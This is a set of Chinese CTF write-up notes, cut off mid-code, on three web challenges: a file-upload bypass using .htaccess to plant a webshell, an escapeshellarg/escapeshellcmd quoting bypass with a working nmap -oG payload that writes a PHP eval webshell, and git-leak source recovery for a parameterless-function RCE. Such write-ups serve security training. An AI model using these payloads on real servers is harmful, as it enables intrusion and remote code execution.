[GXYCTF2019]BabyUpload
php后缀会被识别,所以只能传图片加htaccess来解析
上传png都失败,jpg是成功的
需要修改Content-Type为image/jpeg
直接传马,识别到有php标志,换script
/upload/893e5ad71a4b97784cc21ff87c648a47/jsphp.jpg
由于jpg无法解析,所以传.htaccess
开蚁剑拿到flag
BUUCTF 2018 Online Tool
- 考察
escapeshellarg()
和escapeshellcmd()
的漏洞 - 考察nmap是使用
这两个函数的漏洞
这两个函数的作用
本地测试一下
<?php
$host = $_GET['host'];
echo $host."<br>";
$host = escapeshellarg($host);
echo $host."<br>";
$host = escapeshellcmd($host);
echo $host."<br>";
传入参数:127.0.0.1' -v -d a=1
- 经过
escapeshellarg()
函数处理后变为:'127.0.0.1'\'' -v -d a=1'
,也就是将其中的’单引号转义,再用单引号将内容包含起来,让传入的值为一个字符串 - 处理完的字符串再通过
escapeshellcmd()
函数的处理,变成:'127.0.0.1'\\'' -v -d a=1\'
,因为escapeshellcmd()
函数对\以及最后的未闭合的’进行了转义 - 最后执行的命令是
curl '172.17.0.2'\\'' -v -d a=1\'
,由于中间的\\
被解释为\
而不再是转义字符,所以后面的'
没有被转义,与再后面的'
配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'
,即向172.17.0.2\发起请求,POST 数据为a=1’。
这样加一个’就可以绕过这两个函数去执行我们的命令
nmap里面有个参数是-oG
:实现将命令和结果写入文件
命令示例
127.0.0.1 <?php @eval();?> -oG hack.php
但是直接传是会被转义的
前后加上单引号,
'127.0.0.1 <?php @eval();?> -oG hack.php'
payload:?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
[GXYCTF2019]禁止套娃
-
githack
-
无参数函数的rce
-
正则表达式里面的
(?R)?
访问了一下flag.php发现是存在的
没什么信息就尝试一下www.zip,果然有东西
被耍了
用dirmap扫了一下,发现有git泄露,开githack,得到index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/'